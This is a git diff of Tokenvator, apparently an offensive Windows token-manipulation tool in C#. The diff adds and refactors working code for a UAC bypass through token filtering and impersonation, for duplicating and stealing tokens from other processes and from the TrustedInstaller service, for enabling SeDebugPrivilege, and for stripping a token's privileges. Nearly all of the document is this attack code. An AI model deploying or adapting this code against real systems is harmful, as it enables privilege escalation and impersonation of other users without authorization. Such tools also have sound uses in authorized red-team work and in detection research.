b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs index 64d98de..e2c54e6 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs @@ -11,6 +11,16 @@ namespace Unmanaged.Libraries { sealed class advapi32 { + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean AdjustTokenGroups( + IntPtr TokenHandle, + Boolean ResetToDefault, + ref Ntifs._TOKEN_GROUPS NewState, + UInt32 BufferLength, + ref Ntifs._TOKEN_GROUPS PreviousState, + out UInt32 ReturnLengthInBytes + ); + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean AdjustTokenPrivileges( IntPtr TokenHandle, @@ -20,9 +30,7 @@ public static extern Boolean AdjustTokenPrivileges( ref Winnt._TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes ); - - [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean AllocateAndInitializeSid( ref Winnt._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, @@ -47,28 +55,52 @@ out IntPtr pSid [DllImport("advapi32.dll", SetLastError = true)] public static extern IntPtr ControlServiceEx(IntPtr hService, Winsvc.dwControl dwControl, Int32 dwInfoLevel, out Winsvc._SERVICE_STATUS lpServiceStatus); + [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool ConvertSidToStringSid(IntPtr Sid, ref IntPtr StringSid); + [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessAsUser(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, ref Winbase._SECURITY_ATTRIBUTES lpProcessAttributes, ref Winbase._SECURITY_ATTRIBUTES lpThreadAttributes, Boolean bInheritHandles, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); + public static extern Boolean CreateProcessAsUser( + IntPtr hToken, + String lpApplicationName, + String lpCommandLine, + ref Winbase._SECURITY_ATTRIBUTES lpProcessAttributes, + ref Winbase._SECURITY_ATTRIBUTES lpThreadAttributes, + Boolean bInheritHandles, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInfo); [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean CreateProcessAsUserW(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, Boolean bInheritHandles, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean CreateProcessWithTokenW(IntPtr hToken, LOGON_FLAGS dwLogonFlags, IntPtr lpApplicationName, IntPtr lpCommandLine, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); + public static extern Boolean CreateProcessWithTokenW( + IntPtr hToken, + Winbase.LOGON_FLAGS dwLogonFlags, + String lpApplicationName, + String lpCommandLine, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInfo + ); [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean CreateProcessWithLogonW( - String userName, - String domain, - String password, - int logonFlags, - String applicationName, - String commandLine, - int creationFlags, - IntPtr environment, - String currentDirectory, - ref Winbase._STARTUPINFO startupInfo, - out Winbase._PROCESS_INFORMATION processInformation + String lpUsername, + String lpDomain, + String lpPassword, + Winbase.LOGON_FLAGS dwLogonFlags, + String lpApplicationName, + String lpCommandLine, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInformation ); [DllImport("advapi32.dll", SetLastError = true)] @@ -117,10 +149,10 @@ public enum CRED_TYPE : uint public static extern Boolean DeleteService(IntPtr hService); [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt.TOKEN_TYPE TokenType, out IntPtr phNewToken); + public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt._TOKEN_TYPE TokenType, out IntPtr phNewToken); [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, ref Winbase._SECURITY_ATTRIBUTES lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt.TOKEN_TYPE TokenType, out IntPtr phNewToken); + public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, ref Winbase._SECURITY_ATTRIBUTES lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt._TOKEN_TYPE TokenType, out IntPtr phNewToken); [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken); @@ -131,19 +163,15 @@ public enum CRED_TYPE : uint [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean ImpersonateSelf(Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr FreeSid(IntPtr pSid); + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean GetTokenInformation(IntPtr TokenHandle, Winnt._TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean GetTokenInformation(IntPtr TokenHandle, Winnt._TOKEN_INFORMATION_CLASS TokenInformationClass, ref Winnt._TOKEN_STATISTICS TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); - [Flags] - public enum LOGON_FLAGS - { - WithProfile = 1, - NetCredentialsOnly - } - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern bool LookupAccountSid( String lpSystemName, @@ -155,6 +183,17 @@ public static extern bool LookupAccountSid( out Winnt._SID_NAME_USE peUse ); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern bool LookupAccountSid( + String lpSystemName, + IntPtr Sid, + IntPtr lpName, + ref UInt32 cchName, + IntPtr ReferencedDomainName, + ref UInt32 cchReferencedDomainName, + out Winnt._SID_NAME_USE peUse + ); + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean LookupPrivilegeName(String lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref Int32 cchName); diff --git a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs index 8421bd1..1d4b46a 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs @@ -2,6 +2,8 @@ using System.Runtime.InteropServices; using System.Text; +using Microsoft.Win32.SafeHandles; + using Unmanaged.Headers; namespace Unmanaged.Libraries @@ -139,7 +141,7 @@ IntPtr lpSecurityAttributes public static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true)] - public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); + public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, out IntPtr TokenHandle); [DllImport("kernel32.dll", SetLastError = true)] public static extern Boolean ReadFile( @@ -188,6 +190,9 @@ ref System.Threading.NativeOverlapped lpOverlapped [DllImport("kernel32.dll", SetLastError = true)] public static extern Boolean SetThreadContext(IntPtr hThread, IntPtr lpContext); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean TerminateProcess(IntPtr hProcess, UInt32 uExitCode); + [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, Winnt.MEMORY_PROTECTION_CONSTANTS flProtect); diff --git a/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs b/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs index 35b83e3..96d0b8b 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/ntdll.cs @@ -35,6 +35,26 @@ public static extern UInt32 NtCreateThreadEx( IntPtr lpBytesBuffer ); + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtDuplicateToken( + IntPtr ExistingTokenHandle, + Winnt.ACCESS_MASK DesiredAccess, + wudfwdm._OBJECT_ATTRIBUTES ObjectAttributes, + Boolean EffectiveOnly, + Winnt._TOKEN_TYPE TokenType, + ref IntPtr NewTokenHandle + ); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 NtDuplicateToken( + IntPtr ExistingTokenHandle, + UInt32 DesiredAccess, + IntPtr ObjectAttributes, + Boolean EffectiveOnly, + Winnt._TOKEN_TYPE TokenType, + ref IntPtr NewTokenHandle + ); + [DllImport("ntdll.dll", SetLastError = true)] public static extern UInt32 NtFilterToken( IntPtr TokenHandle, @@ -74,6 +94,11 @@ public static extern UInt32 NtUnmapViewOfSection( IntPtr baseAddress ); + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 RtlNtStatusToDosError( + UInt32 Status + ); + [Flags] public enum PROCESSINFOCLASS { diff --git a/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs b/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs index 4f9b4fa..c7ab455 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/wtsapi32.cs @@ -70,6 +70,11 @@ public static extern bool WTSQuerySessionInformationW( out IntPtr ppBuffer, out IntPtr pBytesReturned); + [DllImport("wtsapi32.dll", SetLastError = true)] + public static extern bool WTSQueryUserToken( + UInt32 SessionId, + ref IntPtr phToken); + [DllImport("wtsapi32.dll", SetLastError = true)] public static extern int WTSEnumerateSessions( IntPtr hServer, diff --git a/Tokenvator/RestrictedToken.cs b/Tokenvator/RestrictedToken.cs index b2e0f80..e2a8692 100644 --- a/Tokenvator/RestrictedToken.cs +++ b/Tokenvator/RestrictedToken.cs @@ -49,6 +49,36 @@ public Boolean BypassUAC(Int32 processId, String command) return false; } + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public Boolean BypassUAC(IntPtr htoken, String command) + { + phNewToken = htoken; + if (SetTokenInformation()) + { + if (ImpersonateUser()) + { + String arguments = ""; + if (command.Contains(' ')) + { + String[] commandAndArguments = command.Split(new String[] { " " }, StringSplitOptions.RemoveEmptyEntries); + command = commandAndArguments.First(); + arguments = String.Join(" ", commandAndArguments.Skip(1).Take(commandAndArguments.Length - 1).ToArray()); + } + + if (CreateProcess.CreateProcessWithLogonW(phNewToken, command, arguments)) + { + advapi32.RevertToSelf(); + return true; + } + } + advapi32.RevertToSelf(); + } + + return false; + } + //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// public Boolean GetPrimaryToken(UInt32 processId) @@ -77,11 +107,11 @@ public Boolean GetPrimaryToken(UInt32 processId) (UInt32)(Constants.TOKEN_ALL_ACCESS), ref securityAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Winnt.TOKEN_TYPE.TokenPrimary, + Winnt._TOKEN_TYPE.TokenPrimary, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Existing Token Handle: {0}", hExistingToken.ToInt32()); @@ -95,16 +125,16 @@ out phNewToken public Boolean SetTokenInformation() { Winnt._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Winnt._SID_IDENTIFIER_AUTHORITY(); - pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; - byte nSubAuthorityCount = 1; + pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; //16 - all + Byte nSubAuthorityCount = 1; IntPtr pSID = new IntPtr(); if (!advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSID)) { - GetError("AllocateAndInitializeSid: "); + GetWin32Error("AllocateAndInitializeSid: "); return false; } - Console.WriteLine(" [+] Initialized SID : {0}", pSID.ToInt32()); + Console.WriteLine(" [+] Initialized SID: {0}", pSID.ToInt32()); Winnt._SID_AND_ATTRIBUTES sidAndAttributes = new Winnt._SID_AND_ATTRIBUTES(); sidAndAttributes.Sid = pSID; @@ -116,17 +146,18 @@ public Boolean SetTokenInformation() if (0 != ntdll.NtSetInformationToken(phNewToken, 25, ref tokenMandatoryLabel, tokenMandatoryLableSize)) { - GetError("NtSetInformationToken: "); + GetWin32Error("NtSetInformationToken: "); return false; } Console.WriteLine(" [+] Set Token Information : {0}", phNewToken.ToInt32()); if (0 != ntdll.NtFilterToken(phNewToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref luaToken)) { - GetError("NtFilterToken: "); + GetWin32Error("NtFilterToken: "); return false; } Console.WriteLine(" [+] Set LUA Token Information : {0}", luaToken.ToInt32()); + advapi32.FreeSid(pSID); return true; } @@ -140,17 +171,17 @@ public Boolean ImpersonateUser() (UInt32)(Constants.TOKEN_IMPERSONATE | Constants.TOKEN_QUERY), ref securityAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Winnt.TOKEN_TYPE.TokenImpersonation, + Winnt._TOKEN_TYPE.TokenImpersonation, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Duplicate Token Handle : {0}", phNewToken.ToInt32()); if (!advapi32.ImpersonateLoggedOnUser(phNewToken)) { - GetError("ImpersonateLoggedOnUser: "); + GetWin32Error("ImpersonateLoggedOnUser: "); return false; } return true; diff --git a/Tokenvator/Tokens.cs b/Tokenvator/Tokens.cs index 69eba17..9dac995 100644 --- a/Tokenvator/Tokens.cs +++ b/Tokenvator/Tokens.cs @@ -17,7 +17,7 @@ class Tokens : IDisposable private IntPtr currentProcessToken; private Dictionary processes; - private delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); + internal delegate Boolean Create(IntPtr phNewToken, String newProcess, String arguments); private static List validPrivileges = new List { "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", @@ -48,7 +48,7 @@ public Tokens() currentProcessToken = new IntPtr(); kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Constants.TOKEN_ALL_ACCESS, out currentProcessToken); - SetTokenPrivilege(ref currentProcessToken, Constants.SE_DEBUG_NAME); + SetTokenPrivilege(ref currentProcessToken, Constants.SE_DEBUG_NAME, Winnt.TokenPrivileges.SE_PRIVILEGE_ENABLED); } protected Tokens(Boolean rt) @@ -91,11 +91,11 @@ public Boolean StartProcessAsUser(Int32 processId, String newProcess) (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Winnt.TOKEN_TYPE.TokenPrimary, + Winnt._TOKEN_TYPE.TokenPrimary, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Duplicate Token Handle: " + phNewToken.ToInt32()); @@ -134,19 +134,20 @@ public virtual Boolean ImpersonateUser(Int32 processId) (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, ref securityAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Winnt.TOKEN_TYPE.TokenPrimary, + Winnt._TOKEN_TYPE.TokenPrimary, out phNewToken )) { - GetError("DuplicateTokenEx: "); + GetWin32Error("DuplicateTokenEx: "); return false; } Console.WriteLine(" [+] Duplicate Token Handle: {0}", phNewToken.ToInt32()); if (!advapi32.ImpersonateLoggedOnUser(phNewToken)) { - GetError("ImpersonateLoggedOnUser: "); + GetWin32Error("ImpersonateLoggedOnUser: "); return false; } + Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); return true; } @@ -204,13 +205,13 @@ public Boolean GetTrustedInstaller(String newProcess) Services services = new Services("TrustedInstaller"); if (!services.StartService()) { - GetError("StartService"); + GetWin32Error("StartService"); return false; } if (!StartProcessAsUser((Int32)services.GetServiceProcessId(), newProcess)) { - GetError("StartProcessAsUser"); + GetWin32Error("StartProcessAsUser"); return false; } @@ -229,13 +230,13 @@ public Boolean GetTrustedInstaller() Services services = new Services("TrustedInstaller"); if (!services.StartService()) { - GetError("StartService"); + GetWin32Error("StartService"); return false; } if (!ImpersonateUser((Int32)services.GetServiceProcessId())) { - GetError("ImpersonateUser"); + GetWin32Error("ImpersonateUser"); return false; } @@ -272,20 +273,20 @@ private static IntPtr OpenThreadTokenChecked() { IntPtr hToken = new IntPtr(); Console.WriteLine("[*] Opening Thread Token"); - if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, ref hToken)) + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, out hToken)) { Console.WriteLine(" [-] OpenTheadToken Failed"); Console.WriteLine(" [*] Impersonating Self"); if (!advapi32.ImpersonateSelf(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation)) { - GetError("ImpersonateSelf"); + GetWin32Error("ImpersonateSelf"); return IntPtr.Zero; } Console.WriteLine(" [+] Impersonated Self"); Console.WriteLine(" [*] Retrying"); - if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, ref hToken)) + if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), (Constants.TOKEN_QUERY | Constants.TOKEN_ADJUST_PRIVILEGES), false, out hToken)) { - GetError("OpenThreadToken"); + GetWin32Error("OpenThreadToken"); return IntPtr.Zero; } } @@ -298,49 +299,45 @@ private static IntPtr OpenThreadTokenChecked() // http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ // https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege //////////////////////////////////////////////////////////////////////////////// - public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) + public static void SetTokenPrivilege(ref IntPtr hToken, String privilege, Winnt.TokenPrivileges attribute) { + if (!validPrivileges.Contains(privilege)) + { + Console.WriteLine("[-] Invalid Privilege Specified"); + return; + } + Console.WriteLine("[*] Adjusting Token Privilege"); //////////////////////////////////////////////////////////////////////////////// Winnt._LUID luid = new Winnt._LUID(); if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) { - GetError("LookupPrivilegeValue"); + GetWin32Error("LookupPrivilegeValue"); return; } Console.WriteLine(" [+] Recieved luid"); //////////////////////////////////////////////////////////////////////////////// - Winnt._LUID_AND_ATTRIBUTES luidAndAttributes = new Winnt._LUID_AND_ATTRIBUTES(); - luidAndAttributes.Luid = luid; - luidAndAttributes.Attributes = 0; - - Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES(); - newState.PrivilegeCount = 1; - newState.Privileges = luidAndAttributes; - - Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); - UInt32 returnLength = 0; - Console.WriteLine(" [+] AdjustTokenPrivilege Pass 1"); - if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) + Winnt._LUID_AND_ATTRIBUTES luidAndAttributes = new Winnt._LUID_AND_ATTRIBUTES { - GetError("AdjustTokenPrivileges - 1"); - return; - } - - previousState.Privileges.Attributes ^= (Constants.SE_PRIVILEGE_ENABLED & previousState.Privileges.Attributes); - - - //////////////////////////////////////////////////////////////////////////////// - Winnt._TOKEN_PRIVILEGES kluge = new Winnt._TOKEN_PRIVILEGES(); - Console.WriteLine(" [+] AdjustTokenPrivilege Pass 2"); - if (!advapi32.AdjustTokenPrivileges(hToken, false, ref previousState, (UInt32)Marshal.SizeOf(previousState), ref kluge, out returnLength)) + Luid = luid, + Attributes = (uint)attribute + }; + Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES { - GetError("AdjustTokenPrivileges - 2"); + PrivilegeCount = 1, + Privileges = luidAndAttributes + }; + Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); + Console.WriteLine(" [*] AdjustTokenPrivilege"); + if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out UInt32 returnLength)) + { + GetWin32Error("AdjustTokenPrivileges"); return; } - Console.WriteLine(" [+] Adjusted Token to: " + privilege); + Console.WriteLine(" [+] Adjusted Privilege: {0}", privilege); + Console.WriteLine(" [+] Privilege State: {0}", attribute); return; } @@ -349,43 +346,93 @@ public static void UnSetTokenPrivilege(ref IntPtr hToken, String privilege) // http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ // https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege //////////////////////////////////////////////////////////////////////////////// - public static void SetTokenPrivilege(ref IntPtr hToken, String privilege) + public static void NukeTokenPrivilege(ref IntPtr hToken) { - if (!validPrivileges.Contains(privilege)) + Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES(); + Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); + Console.WriteLine(" [*] AdjustTokenPrivilege"); + if (!advapi32.AdjustTokenPrivileges(hToken, true, ref newState, (UInt32)Marshal.SizeOf(typeof(Winnt._TOKEN_PRIVILEGES)), ref previousState, out UInt32 returnLength)) { - Console.WriteLine("[-] Invalid Privilege Specified"); - return; + GetWin32Error("AdjustTokenPrivileges"); } - Console.WriteLine("[*] Adjusting Token Privilege"); + return; + } + + //////////////////////////////////////////////////////////////////////////////// + // Prints the tokens privileges + //////////////////////////////////////////////////////////////////////////////// + public static void DisableAndRemoveAllTokenPrivileges(ref IntPtr hToken) + { //////////////////////////////////////////////////////////////////////////////// - Winnt._LUID luid = new Winnt._LUID(); - if (!advapi32.LookupPrivilegeValue(null, privilege, ref luid)) + Console.WriteLine("[*] Enumerating Token Privileges"); + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); + + if (TokenInfLength < 0 || TokenInfLength > Int32.MaxValue) { - GetError("LookupPrivilegeValue"); + GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); return; } - Console.WriteLine(" [+] Received luid"); + Console.WriteLine("[*] GetTokenInformation - Pass 1"); + IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength); //////////////////////////////////////////////////////////////////////////////// - Winnt._LUID_AND_ATTRIBUTES luidAndAttributes = new Winnt._LUID_AND_ATTRIBUTES(); - luidAndAttributes.Luid = luid; - luidAndAttributes.Attributes = Constants.SE_PRIVILEGE_ENABLED; - - Winnt._TOKEN_PRIVILEGES newState = new Winnt._TOKEN_PRIVILEGES(); - newState.PrivilegeCount = 1; - newState.Privileges = luidAndAttributes; - - Winnt._TOKEN_PRIVILEGES previousState = new Winnt._TOKEN_PRIVILEGES(); - UInt32 returnLength = 0; - Console.WriteLine(" [*] AdjustTokenPrivilege"); - if (!advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) { - GetError("AdjustTokenPrivileges"); + GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); return; } + Console.WriteLine("[*] GetTokenInformation - Pass 2"); + Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); + Marshal.FreeHGlobal(lpTokenInformation); + Console.WriteLine("[+] Enumerated {0} Privileges", tokenPrivileges.PrivilegeCount); + Console.WriteLine(); + Console.WriteLine("{0,-45}{1,-30}", "Privilege Name", "Enabled"); + Console.WriteLine("{0,-45}{1,-30}", "--------------", "-------"); + //////////////////////////////////////////////////////////////////////////////// + for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) + { + StringBuilder lpName = new StringBuilder(); + Int32 cchName = 0; + IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(tokenPrivileges.Privileges[i])); + Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); - Console.WriteLine(" [+] Adjusted Token to: " + privilege); - return; + advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); + if (cchName <= 0 || cchName > Int32.MaxValue) + { + GetWin32Error("LookupPrivilegeName Pass 1"); + Marshal.FreeHGlobal(lpLuid); + continue; + } + + lpName.EnsureCapacity(cchName + 1); + if (!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) + { + GetWin32Error("LookupPrivilegeName Pass 2"); + Marshal.FreeHGlobal(lpLuid); + continue; + } + + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET + { + PrivilegeCount = 1, + Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY, + Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } + }; + + if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) + { + GetWin32Error("PrivilegeCheck"); + Marshal.FreeHGlobal(lpLuid); + continue; + } + if (Convert.ToBoolean(pfResult.ToInt32())) + { + SetTokenPrivilege(ref hToken, lpName.ToString(), Winnt.TokenPrivileges.SE_PRIVILEGE_NONE); + } + SetTokenPrivilege(ref hToken, lpName.ToString(), Winnt.TokenPrivileges.SE_PRIVILEGE_REMOVED); + Marshal.FreeHGlobal(lpLuid); + } + Console.WriteLine(); } //////////////////////////////////////////////////////////////////////////////// @@ -394,42 +441,30 @@ public static void SetTokenPrivilege(ref IntPtr hToken, String privilege) public static void EnumerateTokenPrivileges(IntPtr hToken) { //////////////////////////////////////////////////////////////////////////////// - UInt32 TokenInfLength = 0; Console.WriteLine("[*] Enumerating Token Privileges"); - advapi32.GetTokenInformation( - hToken, - Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, - IntPtr.Zero, - TokenInfLength, - out TokenInfLength - ); + advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); if (TokenInfLength < 0 || TokenInfLength > Int32.MaxValue) { - GetError("GetTokenInformation - 1 " + TokenInfLength); + GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); return; } Console.WriteLine("[*] GetTokenInformation - Pass 1"); IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength) ; //////////////////////////////////////////////////////////////////////////////// - if (!advapi32.GetTokenInformation( - hToken, - Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, - lpTokenInformation, - TokenInfLength, - out TokenInfLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) { - GetError("GetTokenInformation - 2" + TokenInfLength); + GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); return; } Console.WriteLine("[*] GetTokenInformation - Pass 2"); Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); - Console.WriteLine("[+] Enumerated " + tokenPrivileges.PrivilegeCount + " Privileges"); - + Marshal.FreeHGlobal(lpTokenInformation); + Console.WriteLine("[+] Enumerated {0} Privileges", tokenPrivileges.PrivilegeCount); Console.WriteLine(); - Console.WriteLine("{0,-30}{1,-30}", "Privilege Name", "Enabled"); - Console.WriteLine("{0,-30}{1,-30}", "--------------", "-------"); + Console.WriteLine("{0,-45}{1,-30}", "Privilege Name", "Enabled"); + Console.WriteLine("{0,-45}{1,-30}", "--------------", "-------"); 